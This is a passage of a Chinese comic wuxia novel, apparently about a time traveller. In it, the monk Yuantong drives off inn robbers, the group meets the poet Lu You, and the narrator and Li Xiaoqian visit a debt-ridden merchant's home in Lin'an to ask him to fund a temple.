圆通说:“我诵念往生经文之后,按佛门规矩,积薪生火,将尸体置于拆堆上,行火葬之礼,没想到那只狗越来越香。” 我问:“然后呢?” 圆通的笑容突然消失了,露出许多懊悔之色,他说:“然后,我又去打了一壶酒。” 我还是没有明白,正想接着追问,突然一只大手伸了过来,“啪”的一巴掌拍在我的后脑上。李小谦压着嗓子,狠狠地说:“你是不是傻?” 我生平最恨的第二件事,就是别人说我傻。 此事源起我的大哥赵祸甲。那时在雁荡山上,他因为长得身强体壮,就被编入了抢劫队,和粗犷野蛮的山贼长期混迹在一起,学了一身的匪气。 那日,大哥正和一群山贼说笑,我从旁边走过,他喊:“旦丙,过来!” 众人嘿嘿直笑。 当时我正急着去找赵小娥,本来不想搭理他。但大哥毕竟是我的亲人,在众目睽睽之下,如果不过去,难免堕了大哥的威名。于是,我走了过去。 大哥说:“我给你讲个故事。从前有一个傻子,不管别人问他什么,他都说没有。你听过这个故事吗?” 我说:“没有。” 大家伙笑了笑。 大哥问:“真的没有听过?” 我说:“没有。” 大哥问:“你吃饭了吗?” 我说:“没有。” 大哥问:“你带钱了吗?” 我说:“没有。” 大哥问:“你是傻子吗?” 我被问得不耐烦了,不加思考,顺嘴就说:“没有。” 一群人爆笑如雷。 从此,我就成了灵峰寨公认的傻子。所有的山贼见了我都要问“你吃饭了吗?”、“你带钱了吗?”等等。 后来,这件事被马维进知道了,他很生气,把大哥暴揍了一顿。他说:“老子的侍卫是傻子,那老子是什么?” 我将遍体鳞伤的大哥搀回房中。大哥说:“你看,这个世道就是这样,就算你是条傻狗,只要跟对了主人,也没人敢说你傻。” 我说:“我不是狗。” 大哥龇着牙,满脸都是痛苦的表情,说:“我就是打个比方。” 从此,果然没有人再敢叫我傻子。但他们私下里仍然在笑我,我也因此恨上了“傻”这个字,如果有人说我傻,我一定会暴跳如雷,然后冲上去和对方厮打一番,即便是被打得遍体鳞伤,我也要捍卫我的尊严。 这时候,突然听到李小谦骂我傻,我顿时火冒三丈,挥拳就要揍他。 拳头刚刚举过头顶,突然,一只手伸了过来,往我的后背上一戳。 我又被点住了穴道。 圆通笑吟吟地走我身后绕了过来,说:“你发过誓,不能打人。” 我说:“他骂我傻。” 圆通说:“阿弥陀佛,善哉善哉。” 我看他的头既没有点,也没有摇,实在猜不透他到底要表达些什么,就问:“你到底是什么意思?” 圆通说:“众生皆平等,傻子也是人,不可歧视。” 第一卷 最后一个武林盟主 第六章 劫匪 虽然已过去将近半年,但宋金议和、岳王被害之事,仍是街头巷尾热议的话题。当朝权臣秦桧成了妄杀忠臣的罪魁祸首,被坊间频频咒骂。 绍兴和议之后,宋金休兵,结束了长达十几年的战乱,天下终于迎来休养生息的大好机会。然而,战乱之中人民期盼安定,但,当战乱终于结束之时,人们所想到的并非是安定的到来,而是这份安定是怎么来的。 主战派望着长江滚滚,中原远去,心中满是怅然。曾经满满的希冀化为失落,天下滔滔,岂容小人作祟,他们奋起疾呼,誓言要与卑鄙怯懦的投降派抗争到底。 当夕阳残照之时,一向貌似是摇摆不定的高宗皇帝,最终坚定地选择了投降派。当然,投降派并不会说自己是投降派,他们称自己为主和派,把主战派称作狂热的叫驴。 主战派在朝中失利,便把目光投向了民间。他们企图煽起普罗大众的家国仇恨,让滔天巨浪推动历史的车轮向着他们幻想的方向前行。 然而,他们从不曾考虑那些被他们煽动的无辜百姓将要走向怎么样的命途。 那时,我也不会考虑。 感到绍兴府时,正值夜黑风高,满天乌云,不见星月。这种环境之下,正是杀人劫户的好时候。 但是,这是绍兴府,高宗皇帝寄托中兴的象征之地,治安自然是和临安府没什么差别。一般的江湖毛贼,纵然是有天大的胆子,也不敢在绍兴府作案。 不巧的是,这夜,我们遇到了一伙胆大包天的毛贼。 与我们同行的那三人,年纪大的男人叫邵阳春,他媳妇叫姜媚儿,另外一个年轻的男人是邵阳春的跟班,叫邵丑。 车驾到了绍兴客栈门口,我们几人刚一下车,一个店伙计就笑呵呵的跑了出来。大客栈的店伙计服务很周到,把我们迎到客栈大堂以后,便兀自将车马牵到了后院。 当晚,邵阳春夫妇住一间上房,圆通和李小谦住了一间上房,我和邵丑住了一间普通客房。 纵然如此,我仍然很满意。毕竟不是自己花钱,能有间客房休息总好过风餐露宿。 晚间,邵丑喂马归来,洗漱过后,我看他一脸清秀模样,皮肤白嫩,根本不像个仆人,若能换上一身像样的行头,俨然就是一个富家公子的模样。 我问他:“你长得也不丑,为什么叫邵丑?” 邵丑说:“我本名叫李俊。老爷府上招家仆,要求我们改姓邵,根据入府先后,以天干地支排序。我排到地支第二名,所以叫邵丑。” 我顿时与他有了同病相怜的感觉,说:“你想不想换个名字?” 邵丑说:“不想。” 我问:“为什么不想?” 邵丑说:“我改了名字,老爷就不给我发钱了。” 原来,金钱真的可以让人忘却尊严。 我和邵丑正准备各自休息,突然,屋外传来一阵“当当”的铁器撞击声,随之“咔啦”几声乱响,似乎是桌椅板凳碎裂的声音。 我和邵丑都是颇感惊奇,便走出房去查看。刚打开屋门,只觉得脖颈上一凉,眼前有白光闪了一下,一柄长刀便架在了我的脖子上。 一个人影从门框边走了出来,只见是一个满脸胡茬的汉子,大约四十几岁,穿着一身黑色衣裳,两只眼睛瞪得又圆又大。 邵丑被吓破了胆子,浑身颤抖,不敢发声。我也吓得不轻,但毕竟在山贼窝里混了多年,如今也算遇见同行了。便使劲提气,故作镇定地说:“好汉,别冲动。”但话音出口,仍然免不了一阵发颤。 满脸胡茬的汉子说:“少废话!下楼!” 我和邵丑被两名大汉裹挟着,走下了楼。刚到楼梯口,就看到大堂之中满满当当的蹲了七、八口人。有店老板、两个店伙计、邵阳春、圆通、李小谦,还有一个十六七岁的年轻人,一身锦白绸缎,书生模样。书生旁边蹲着一个书童,一身粗布衣裳,十三四岁,长得眉清目秀,面容白皙,活脱脱得像个女人。 四周零零落落地站着五个彪壮的汉子,各个手持长刀,凶神恶煞。 两名大汉将我和邵丑推搡到众人中间,大喊了一声:“蹲下!”邵丑吓得浑身一软,瘫坐在地上。我双腿颤抖着,摇摇晃晃的蹲下,一颗心仿佛要从胸腔中跳跃出来。 “啊,救命啊!” 一声女子的尖叫从屋里传了出来。我听着有些熟悉,不由得想邵阳春看了一眼。只见邵阳春满脸焦急和愤怒,不时看着圆通,欲言又止。 圆通突然站了起来,说:“阿弥陀佛,善哉善哉。” 我心里骂道,秃驴,能不能别老说些人听不懂的话。 圆通似乎听到了我心里的骂声,果然改口,说:“几位施主,劫财可以,就不要劫色了。” 一个大汉走到圆通身边,打量了他一眼,骂道:“死秃驴,活得不耐烦了!” 圆通再度被人骂作秃驴,表情依旧平淡如水,不起波澜。但那名大汉却一脸愤怒,仿佛圆通的一句话折损了他的威严,随即将一柄长刀举了起来,白光一闪,向着圆通百会穴上切去。 眼看圆通的脑袋变成待切的西瓜,众人都吓得面无血色。圆通却缓缓地闭上了双眼。 刀光一闪,竟然切了个空。 那汉子用力极猛,一时收不住,长刀“当”的一声切在地上,坚硬的石头地面上被切了一道白印,那大汉也一个踉跄险些趴在地上。 只见圆通不知什么时候飘到了那名大汉的身后,所有的人都没有看清楚。他右手翘起两根手指,向着那大汉的脖颈处一戳,那个大汉便被他点住了穴道。 此刻,那大汉姿势非常滑稽,双手握着刀切在地上,脑袋下垂,屁股高高撅起,两腿挺直,像极了一只伸懒腰的大狗。 蹲着的人大喜。站着的匪徒大惊,纷纷挺起长刀向着圆通跑了过来。 人群还未形成合围,圆通又从我们眼前消失了。 接着,听到楼上“啊,啊”两声,又是“咔啦”一声。众人还没有回过神来,圆通的身影又出现在楼梯口。 这回,匪徒们彻底傻了。出门劫掠竟遇高手,这样的事情并不常见。 一个首脑模样的汉子索性将长刀收了起来,问:“在下飞虎帮陈九龙,敢问大师高姓大名?” 圆通说:“阿弥陀佛,贫僧法号圆通。” 陈九龙沉吟了一会儿,似乎是在脑海中检索了一下江湖上各色人物,发现没有圆通这号高手,但分明圆通的身形功夫不是一般的江湖人物,他不敢怠慢,说:“在下有眼不识金镶玉,惊扰了大师,还请大师恕罪。” 他这么一说,显然是认怂了,众人神色几乎同时放松下来。我心里默念,阿弥陀佛,这回小命保住了。 圆通说:“还好,还好。你们走吧!” 陈九龙向后退了两步,正好退到我身边。忽然,他一只大手猛地抓住我领口,将我提了起来,左手从我脖颈后绕到前胸,将我揽住,右手架起长刀抵在我脖子上,此时,我整个身子成了陈九龙的肉盾。 我大叫一声,刚想求饶,但听陈九龙说:“圆通大师,我自知不是你的对手。但是,江湖上规矩,贼不走空。如果今天我们飞虎帮从这里空着手出去,传到江湖上,我们兄弟没法立足。还请大师体谅,多少让我们拿走一些。否则,刀剑无眼,在大师面前现了血光,恐怕有损大师的慈悲之名。” 他这话说得言之凿凿,有理有据,让人无可辩驳。就连圆通也点了点头,说:“有道理。” 我大喜,叫道:“大,大哥,需要什么随便拿,别伤了我就行。”我斜眼看了店老板一眼,他满脸不悦,却又不敢说话。 我又望向圆通,他仍在点头,对陈九龙的话颇为认可。我心中大喜,心想,出家人果然慈悲为怀。随后,又见圆通一只手伸到怀中,掏出一团白乎乎的东西,放在桌上。我定睛一看,却见是个馒头。 圆通说:“拿走这个馒头,便不算走空了。” 我眼前一黑,骂到:“死秃驴,臭秃驴,你想害死老子!老子做鬼也不放过你!” 陈九龙也是愣了一下,向我脑门一拍,说:“你住口!”然后又对圆通说:“大师,你这样太侮辱人了。我们飞虎帮虽然在江湖上名头虽然不响,但也不是要饭的。今夜我冒死带一众兄弟来绍兴府上做生意,就想大转火穴,好生捞上一笔。如今,就拿一个馒头回去......哼,我没法给兄弟们交待。” 圆通沉吟半晌,将手伸到怀中,又掏出一个馒头放在桌上,说:“最后一个了。” 他胸口竟然揣了两个馒头! 我破口大骂:“秃驴!老子的命就值两个馒头吗?” 圆通没有理会我的叫骂,对陈九龙说:“行就拿走,不行就动手。时辰不早了,我还要回房做晚课。” 我心想,完了,这回死定了。 没想到,陈九龙竟然将长刀收了起来,缓缓走到桌前,沉吟片刻,将两个馒头揣入怀中,向着圆通一抱拳,大喊一声:“撤!” 一群大汉提着长刀蜂拥而出,眨眼之间便消失在漫漫黑夜之中。只剩下一个大汉仍然撅着屁股,杵在那里,一动不动,双眼中塞满了恐惧。 圆通走到跟前,向着大汉勃颈处一点,大汉两脚抹油,瞬间窜出门去。圆通身影又一闪,消失在我们眼前。片刻之后,楼上“叽里咕噜”滚下一个大汉,连滚带爬的消失在门外。 第一卷 最后一个武林盟主 第七章 陆游 圆通成了众人眼中的英雄。 店老板躲过一劫,满脸写着“欢喜”,亲自下厨去准备素菜,要好好款待圆通。 这时,那个书生模样的年轻人走了过来,郑重行了一个礼,说:“小生陆游,感谢大师救命之恩。” 圆通还没有说话,李小谦跳了出来,大叫:“我靠!你是陆游!大诗人陆游!” 陆游脸颊一红,赶紧摆手,说:“兄台过奖了,学生愧不敢当!” 李小谦激动得难以自持,两只手紧紧地握住陆游的手,不停地上下摇动,说:“见到活的了,三生有幸,三生有幸!” 陆游一脸莫名其妙的表情,看着李小谦激动的模样,用力将手抽了出来,微微抱拳,说:“兄台客气了。” 李小谦仍然难掩激动的神情,两只眼睛直勾勾地盯着陆游,嘿嘿发笑。陆游被他这么看着,显然浑身不自在,不知如何是好。这时,那个书童从陆游身后走了出来,向圆通行礼,说:“多谢大师相救。” 声音轻柔,分明就是个女人。 众人都是一脸愕然。陆游尴尬地笑了笑,说:“这位是我的表妹唐婉,随我回家省亲,当今世道不甚太平,她女子装扮多有不便,只好女扮男装,请诸位莫要见怪。” 唐婉腮颊一红,躲到陆游的身后,不再出来。 李小谦看了唐婉一眼,小声嘟囔:“我靠,什么省亲,分明就是出来开房的。” 圆通说:“阿弥陀佛,贫僧要回房做晚课了。”说完,他转身独自向楼上走去,刚走了两步,忽然停了下来,也不转身,说:“饭做好了,记得叫我。”然后,又向楼上走去。 我想起刚在圆通方才拿着两个馒头换我性命的事,心里就气不打一处来,但这时候,圆通已然成了所有人的救命恩人,倘若我此时骂他,恐怕这一屋子人都要跟我拼命,只好忍了下来。在心里默默地将他骂了一千遍、一万遍。 客栈的老板备好了一桌丰盛的素菜。劫后余生的众人仍旧沉浸在大难不死的欢喜之中,我们不分尊卑,在圆桌围坐。 席间,李小谦一直追着陆游问东问西,好像对他有极大的兴趣。 “最近可有新作啊?” “我写了一首诗,你指点指点啊啊?” “给我签个名可好啊?” 诸如此类。问得陆游浑身不自在。 我以前在雁荡山做土匪的时候,听二哥说,山上有一对兄弟,有龙阳之癖。 我问:“什么是龙阳之癖?” 二哥说:“就是男的喜欢男的。” 我说:“我也喜欢二哥。” 二哥说:“那不一样。” 我问:“有什么不一样?” 二哥说:“他们脱光了衣服,在一个被窝里.......那样。”他手上比划着,一只手虚握,另一只手攥拳翘起一根手指,往虚握的拳眼处一塞。 那时,我还不认识赵小娥,所以没有看懂。后来我认识了赵小娥,自然也明白了什么是龙阳之癖,每次想象那些画面,心里都觉得一阵阵恶心。 我看到李小谦的模样,分明就是对陆游不怀好意,便小声提醒陆游,说:“李小谦有龙阳之癖。” 陆游一愕,斜眼看了一眼李小谦,只见李小谦一手托着下巴,两眼迷离,正直勾勾地盯着自己。陆游脸上顿时写满了嫌弃,稍稍向旁边挪了几寸。 我突然觉得哪里不对,看了一眼唐婉,只见她一双眼睛恶狠狠地盯着李小谦,满面醋意。 原来,他俩,什么都懂。 宋金和谈之后,战火纷飞的年代已然过去,民心思定。然而,战火虽熄,但朝廷之中暗流汹涌。各派势力暗中较量。这种较量也逐渐波及民间,尤其是当世学子,一腔热血,满心抱负,历朝历代都是最先受到政治力量影响的群体。 陆游便是如此。 晚饭之间,他开口谈起靖康之耻、家国抱负、收复河山。说什么,临安之意便是临时的安逸,是苟且求生,不是男子作为。 李小谦在一旁随声附和。店老板却满脸不安,慌忙将门窗关紧,小声说:“现在街面上查得紧,妄议朝政,是死罪。” 陆游更加不忿,说:“朝廷做得不对,还不许百姓议论,天下哪有这样的道理。” 唐婉显得很慌张,她扫了一眼众人的表情,说:“表哥,出门在外,还是小心为妙,莫要因言获罪。” 陆游一拍桌子,站了起来,说:“怕什么?!大丈夫为国为民,何罪之有?便是有昏君当道,佞臣当权,我等读书之人,头可断、血可流,然正义不可废也。” “好!”我大叫了一声。虽然,我也不知道哪里好,但是听到他语气高昂,说得人热血沸腾,不喝彩两句,总觉得不能衬托当时的气氛。 陆游眼前一亮,显然对我起了敬佩之心,向我抱拳,问:“这位兄台如此大义,敢问高姓大名?” 我心情激荡,也站起身来抱拳还礼,刚想开口自报家门。忽见唐婉满目柔情,又见姜媚儿盈盈带笑,李小谦一脸奸笑,圆通和尚双唇微启,其他几个人喷薄愈发,我不禁脸颊一热,名字到了嘴边,怎么也说不出口。 李小谦剥了一个鸡蛋,放在桌面上,用手一拍,“啪”的一声,鸡蛋被压扁成了一个饼子,他嘿嘿一笑,用手指着那个被他拍扁的鸡蛋,说:“他叫姬旦丙!周武王的“姬”,祸福旦夕的“旦”,甲乙丙丁的“丙”。” 陆游和唐婉都是一愣,随后噗嗤一声笑了出来。二人可能觉得这样嘲笑我的名字有失礼数,都竭力地克制自己。 唐婉克制不住,干脆用袖子掩住自己的半张脸,浑身抽搐。 陆游则非常努力地克制着,两颊的肌肉不停地抖动,说:“这位......嘿......兄台.......嘿.......姓名......嘿......当真......嘿......有趣......嘿......在下......嘿......失礼......哈哈哈......”最后,实在抑制不住了,干脆放声大笑起来。 众人笑声接连而起。 我怒火中烧,但众人都在笑,我双拳无从着落,心想,都是李小谦这厮起得头。挥拳向着李小谦脑门处打去。 “当”的一声。 我只觉得触手坚硬无比,一双拳头仿佛锤到了石壁上一般。只见李小谦不知何时掏出一块木板挡在脸前,我一拳正中木板,一阵疼痛从拳面传来,疼得我顿时龇牙。 众人笑声更甚,绍兴客栈之中满堂愉悦,唯有我一人愤怒地摔了盘子,离席而去。 第一卷 最后一个武林盟主 第八章 禅慧 人生,无非是一次次的相聚与分离。从前的许多人看不破,但经历战乱年代的人早早就已深刻领悟了这个道理。 邵阳春家的武师,一行四人,夜间赶到了绍兴。 天刚亮,邵阳春便辞别了圆通,在自家武师的护送下,向临安府进发。临行前,又留了许多银两。李小谦一番絮叨之后,照单全收。 望着邵阳春车架渐行渐远,消失在绍兴府的街巷尽头。我心中隐隐有些不舍。姜媚儿的音容笑貌不时在我脑海中浮现,内心中惋惜之情难以言喻。 我感慨:“为什么她如花般的年纪,偏偏嫁给一个糟老头子?” 李小谦说:“别说你们这个年代,就是九百年以后的我们那个时候,也不少见。” 我被他这话吓了一跳,说:“九百年以后?” 李小谦嘿嘿一笑,说:“大师,我回去收拾东西了。”说罢,便向绍兴客栈内堂走去。 我望着李小谦的背影,忽然觉得他是一个非常神秘的人物。这一路来,他的许多言语都很奇特,让人费解,甚至是与这个时代格格不入。 一开始,我认为他或许是生活在塞北、南疆、西域,一些偏僻地方,因为生活环境、语言习惯的差异,所以才和我们有所不同。 可这时候,他说,九百年以后...... 我问圆通:“大师,你知道他说的是什么意思吗?” 圆通说:“知道。” 我问:“什么意思?” 圆通说:“佛曰:‘不可说’。” 他总是说一些我完全听不懂的话。总给人一种答非所问的感觉,莫名的让你恼火,却又忌惮他武功高强,不敢发作。 这时,店老板走了过来,手中捧着一把碎银,说:“大师,昨夜多谢你仗义出手,救了小店许多人的性命,小店利薄,这些碎银子是我的一些心意,给大师当盘缠了,还请大师不要嫌弃。” 我见李小谦已经消失在楼梯尽头,便说:“给我吧,我替大师收着。” “不。” 突然,圆通喊了一声,一只手伸出去想要抓那些银子,手伸到一半,又停顿下来,片刻之后,只手化作竖掌,往店老板手上一推,说:“不要!”说完,恶狠狠地向我挤了一个白眼,向房内走去。 为什么?为什么同样的做法,却得不到同等的对待? 我不明白。 我仍不死心,对店老板说:“你给我就行。我替大师收着。” 店老板白了我一眼,说:“大师都说了不要,你瞎起什么哄!” 我说:“你是不是不舍得?” 店老板急了:“放屁。人又不是你救的,给你和给强盗有什么区别?”说完,他也走了。 我却吓出了一身冷汗。 难道,他看破了我的身份? 这一路走来,我极力地掩饰自己曾经做过山贼的痕迹。虽然那时候我只是山贼窝里的一名杂役,从来没有参与过抢劫。但总担心自己身上留下匪气,让别人察觉。 其实,在别人眼中,我从来都不像个山贼。 我们吃过早饭之后,便离开了绍兴客栈。临行前,李小谦不顾陆游的嫌弃,抓着陆游的手怎么也不肯放开,口中说着一些莫名其妙的话:“要是有微信就好了,还能扫个码,该死的旧社会。” 辞别陆游兄妹,我们踏上了前往临安的路途。 此时,或许是圆通与李小谦已经习惯了我跟在他们身后,又或许是他们根本就不在乎我存在与否。反正,我跟着他们后面,他们没有提出丝毫异议。 但是,李小谦到临安,要去柳湖书院。圆通虽然没有说要去哪里,但显然终点也是临安。而我,只能迷迷茫茫地游荡在天地之间,如似孤魂野鬼一般,缠着他们二人。 次日,我们便赶到了临安府。 站在西湖边上,望着湖水荡漾,接天映日,无穷碧绿,如诗如画。清风吹过,两岸垂柳旖旎飘动,发出“飒飒”的声响。 西湖,真美! 这是我由衷的感叹。那时,我从北方随着八矛师父一路南逃,翻过无数高山,越过无数河流,却总没有一处能与西湖媲美。 李小谦说:“大师,你要去哪里?” 圆通指了指西湖边上的一个高塔,说:“雷锋塔。” 李小谦大叫:“我靠,法海会不会在哪里?白素贞在不在?” 圆通说:“谁是法海?白素贞又是谁?” 李小谦便向我们讲了这样一个故事: 从前,在四川青城山有一条白蛇,修炼了一千年,变成了一只美丽的妖精,带着另外一只美丽的蛇精——小青,一起来西湖游玩,邂逅了江湖郎中许仙,两人一见钟情,结为夫妇,还生了一个孩子。后来,金山寺的住持法海,发现白素贞是个妖精,要除掉她,就利用许仙,将他骗到金山寺关了起来。白素贞索要夫君被法海拒绝,一怒之下,利用法力,引钱塘江水淹了金山寺,死伤无数。然后,法海就把白素贞压在了雷峰塔下。再后来,白素贞的儿子考上了状元,求皇上开恩,下令释放了白素贞,一家人得以团聚。 听完这个故事,我非常感动,说:“有情人终成眷属,真是美满结局。” 圆通说:“一朝及第胜过修炼千年,法力无边不如权势滔天。” 李小谦一怔,忽然一副大彻大悟的表情,激动地说:“大师高见,一语道破玄机。” 说着说着,我们便走到了雷峰塔下。 雷峰塔是一个五层的高塔,外面是木头构建,内心是砖石搭造。自迁都临安之后,雷峰塔便成了朝廷保护的对象之一,几经翻修,气势已胜过当年无数。 李小谦却啧啧两声,说:“这塔真丑,比我们那时候差远了。” 我问:“你们那时候什么样?” 李小谦说:“比这个好看。” 圆通忽然整理了一下衣衫,端端正正地跪在了地上,向着雷峰塔三拜九叩之后,喃喃念起了佛经,念着念着,两行清泪流了下来。 我问李小谦:“大师怎么了?” 李小谦说:“大师找到归属了。” 许久,圆通站起身来,转身向后,指着一座高约百米的小山,说:“我要在这里建个寺庙。” 李小谦问:“大师,你要建什么寺庙?” 圆通想了一会儿,说:“忏悔寺。” 李小谦说:“这名字不太好听,恐怕会影响香火。” 圆通默然。李小谦又说:“不如取“忏悔”的谐音,叫禅慧。佛说,以甚深禅慧,开导众人。众人也包括自己,以甚深禅慧开导自己,也有悔过之意。” 圆通笑了,从未笑得那么灿烂。 那笑容我一生犹记。 第一卷 最后一个武林盟主 第九章 赞助 圆通下定决心,要在雷峰塔对面的小山上建一座寺庙,开门立派,普度众生。 但是,意志满满敌不过两袖空空。建设寺庙的费用成了圆通所面临的巨大难题。 圆通站在小山上,呆呆地望着对面的雷峰塔,虽然面无表情,但我仍然能感受到他内心的惆怅。 那时候,我不明白,圆通为什么非要在雷峰塔对面建立寺庙。他也从未向我们说明,但是见到圆通失落的样子,想起这一路上他三番两次出手救我,心中不免替他难过。 李小谦本来要辞别圆通前往柳湖书院,但看着圆通的背影,说不尽的凄楚。李小谦的脸上露出同情之色,他对我说:“我们还是帮帮大师吧。” 我问:“你有钱吗?” 李小谦从怀里掏出了大概三十几两银子,说:“这是邵阳春给的银子,还剩下一些。” 我看了一眼李小谦手中白花花的银子,说:“这也不够啊。” 李小谦叹了口气,缓缓的低下头去。忽然,他又把头抬了起来,眼神中炯炯有光,说:“我们可以去找邵阳春拉个赞助啊!” 我问:“什么叫拉赞助?” 李小谦说:“就是让邵阳春掏钱建这个寺庙。” 我瞥了李小谦一眼,心想,这人肯定傻了,人家凭什么要掏这么多银子帮圆通建寺庙? 李小谦没有理会我,走到圆通身边,说:“大师,我有办法了。” 圆通说:“什么办法?” 李小谦说:“我们去找邵阳春,让他出钱修建寺庙。” 圆通没有说话。 李小谦又说:“我去找邵阳春谈。” 圆通说:“阿弥陀佛,善哉善哉。” 李小谦说:“放心吧大师,包在我身上。” 说完,李小谦走到我身边,说:“你跟我去。” 我问:“大师同意了吗?” 李小谦说:“同意了。” 我疑惑不解,说:“这次大师也没有点头啊。” 李小谦回头看了一眼圆通的背影,说:“他也没有摇头啊。” 原来,没有答案,并不代表真的没有答案。没有否认的意思便是默认。 邵阳春临走前并没有告诉我们他的府邸所在。我和李小谦在临安府大街小巷转了多半天,所有稍微大一点的宅子都打听过了,都没有打听到邵阳春这个人。甚至,没有一座宅子的主人姓邵。 我心想,或许邵阳春并没有向我们说实话。他并不叫邵阳春,邵丑也不叫邵丑,姜媚儿也不叫姜媚儿。 正一筹莫展之时。街巷中突然闪过一个熟悉人影。 我大叫一声:“邵丑!” 邵丑回过头来,我们四目相对。我心中一喜,说:“果然是他。”正要上前打个招呼,邵丑却掉头跑了。 “哎呦我去!” 李小谦又说了一句我听不懂的话。 我问:“你要去哪?” 李小谦没有理我,箭步出去开始追赶邵丑。我也疾步跟上。 然而,李小谦看起来是文弱书生的模样,腿脚却出奇得快。 我用尽全力,却越追越远。后来,李小谦的身影消失在巷口,等我赶到巷口时,已经不知道他跑向了什么方向。 我望着左右两条去路,心里犯了难,到底要向哪个方向呢? 这样的选择,我曾经无数次遇到过。 以前,跟着八矛师父一路逃难。因为战乱,许多地方已经人烟绝迹,我们曾经无数次站在分岔路口,望着茫茫前路,不知所措,没有人为我们指点迷津。 后来,我们想了一个办法。那便是五个人举手表决,少数服从多数。虽然有的时候会选错,但是没有一个人抱怨过。 因为,这是我们一同约定的规则,每个人都对共同选择的结果负责。 可是,现在我所面临的,是我一个人面临两个方向。我只能听从自己内心的判断,即便是判断错了,我也只好一人承担。孤独之感,油然而生。 我叹了口气,正准备向某一个方向前进时,邵丑不知从什么地方蹦了出来,吓了我一跳。 我说:“你从哪冒出来的?” 邵丑说:“哈哈,我就躲在你后面,你没看见。” 我问:“你见到我为什么要跑?” 邵丑说:“我不是见到你跑。刚才你们身后有我们家老爷的债主,我怕他们看见我,所以我才跑的。” 我“哦”一声,突然觉得哪里不对劲,问:“你们家老爷的债主?” 邵丑说:“是啊。我们家老爷欠了人家一万两银子,还不起,所以一直在躲债。” 我感到非常惊讶,前几日与邵阳春同行,他出手阔绰,动辄就是几十两银子,一看就是家境殷实的商贾,因此李小谦才想要向邵阳春借钱修建寺庙,如今听邵丑这么说,邵阳春竟还有一屁股还不清的烂账。 我说:“前几天,你们家老爷阔得很,一点都不像欠账的样子啊。” 邵丑苦笑了一声,说:“出门在外,谁不是把脂粉扑在脸上,把屎尿憋在肚里,难道要满大街吆喝,自己欠了一万两银子还不起吗?” 我点了点头,觉得非常有道理。 这时,巷子拐角处闪出一个人影。我们一看,是李小谦气喘吁吁地跑了出来。他跑到我们跟前,已经是累得上气不接下气,一只手指着邵丑,想说什么又接不上气,过了许久,他才说:“你,你他妈的跑什么?” 邵丑一脸懵懂的模样,说:“我妈没跑啊!” 李小谦气喘吁吁地说:“你还他妈没跑?把老子快累死了!” 看着邵丑迷茫的样子,我义愤填膺,说:“别冤枉好人,他妈真的没跑。” 不知为何,李小谦竟然翻了白眼,他说:“你闭嘴。”然后,他又对着邵丑说:“你们家老爷住哪?圆通大师命我来找他。” 我们这些人都深得圆通的大恩,一听圆通命李小谦前来,邵丑不敢怠慢,说:“我带你们去。” 我们在街头巷尾左右穿梭,越走越是偏僻,两旁的房屋从亭台楼宇到破瓦砖房,我深深地感觉到,我们是在走一条从富裕到贫穷的道路。还未到尽头,眼前的景象已经让我惊讶地说不出话来。 幽深地街巷中,左右坐满了衣衫褴褛的乞丐,枯骨嶙峋的老人揽着奄奄一息的幼儿暗自垂泪,黝黑干瘪的少年抱着早已饿死的母亲痛苦流涕......痛哭的嘶嚎,饥饿的呻吟,不绝于耳。 这哪里还是皇城的风景? 这一路逃难,纵使我见惯了生死离别,凄楚苦难,但那都是在战火碾压过的土地上,在荒芜贫瘠的山村里,在一望无尽的苍茫古道中。 直到这些触目惊心的景象出现在繁华奢靡的应天府中,我的惊诧,无法描述。只到后来许多年,回忆起这一片繁华掩饰下的悲惨景象,心中仍是无限的凄凉。 那时的高宗皇帝,或许无数次走出宫门,走过如花似锦的应天府大街上,接受着摩肩接踵、衣着鲜亮的民众跪拜,山呼万岁,却定然不曾见过这八街九陌的尽头里掩藏着的一幕幕人间悲剧。 如果他看得到,便不会妄自尊大地抛出“绍作中兴”的豪言壮语。 如果他看得到,这幅景象便不会在此出现在我的面前。 第一卷 最后一个武林盟主 第十章 紧吗 在邵丑的带领下,我和李小谦顺利来到一处破落的宅院前。 宅院门前没有任何牌匾,半敞开的两扇大门上红漆已经掉了一大半,露出暗黄的原木色。一道破旧的门槛,中间已被踏得凹陷下去,显然是许久没有修缮。门口左右各蹲着一只半米高石狮子,狮子身上一层厚厚的灰土,将狮子的威武全然掩去,显尽了凄凉与落寞。 宅院门脸高大,院墙也明显比周边的房子高出许多,虽然破落,但依旧可以看出往昔的兴盛。 “到了。”邵丑说,“我去通报一声。” 邵丑刚迈出一步,被李小谦一把扯了回来。李小谦问:“这是哪?” 邵丑说:“这是我们老爷家。” 李小谦两只眼睛瞪得老大,眼看着眼珠就要掉出来了,他眉头一皱又给挤了回去。他说:“你再说一遍,这是哪?” “这是邵府,我们老爷家!”邵丑一字一字坚定地回应。 李小谦一脸难以置信的模样,他看了我一眼,我的表情很平淡。李小谦看出了我的反应不正常,问:“你是不是早就知道?” 我说:“我是第一次来。” 李小谦说:“你不觉得很吃惊吗?大富豪邵老爷,住这种地方?!” 我说:“他欠了人家一万两银子还不起。” 李小谦问:“你怎么知道的?” 我说:“刚刚在那巷子口,邵丑告诉我的。” 李小谦说:“邵阳春出手阔绰,怎么会呢?” 我想起了邵丑的话,稍作修改,说:“谁不是把粉子抹在脸上,把屎掖在腚沟里!”我觉得,我总结的比邵丑更加精辟。 李小谦哑然无语。 邵丑说:“你们等一下,我进去通报!” 刚迈出一步,邵丑又被李小谦一把扯了回来,他说:“就这破门烂户的,通报你妹啊!”说罢径直走了进去。 我紧跟其后。 邵丑挠了挠头,再抬头时,见我和李小谦已走出去十几米远,大喊:“不是通报给我妹,我要通报给我们老爷!” “喂,你站住,别乱闯!”邵丑边追边喊。 院子虽然很破,但却是个七进的大宅。宅子分了内外两院,外院房间破烂不堪,地上杂草丛生,看上去荒废已久。但走进内院,确是鸟语花香的另一番景象。 看来,无论欠了多少银子,邵阳春仍是忘不了自己的享受!这个世道的人总是这样,私欲的驱使下,往往忘记了别人的痛苦。久而久之,欠债还钱这种天经地义的事,竟然也变成了一种难能可贵的美德。 邵丑一直追着我们到了内院,他眉头紧锁,略有怒意,说:“你们怎么这么没有规矩,随便闯入人家宅子?” “等一下,我先脱下来。” 我们还未说话,只听内院正房之中传出邵阳春的声音。语气甚是不耐。 我们三人不禁一怔,同时噤声。好奇充斥了我们的内心,不约而同地竖起耳朵来倾听接下来的对白。 “脱下来没有?快进来!” 是姜媚儿急切的声音。 “来了来了!”邵阳春喊着。 “哎呦!你轻点!”姜媚儿嗔了一句。 “紧吗?”姜媚儿问。 “嗯,还行!我再进去一点试试。”邵阳春回道。 “哎呦!你慢点!”姜媚儿又嗔了一句。 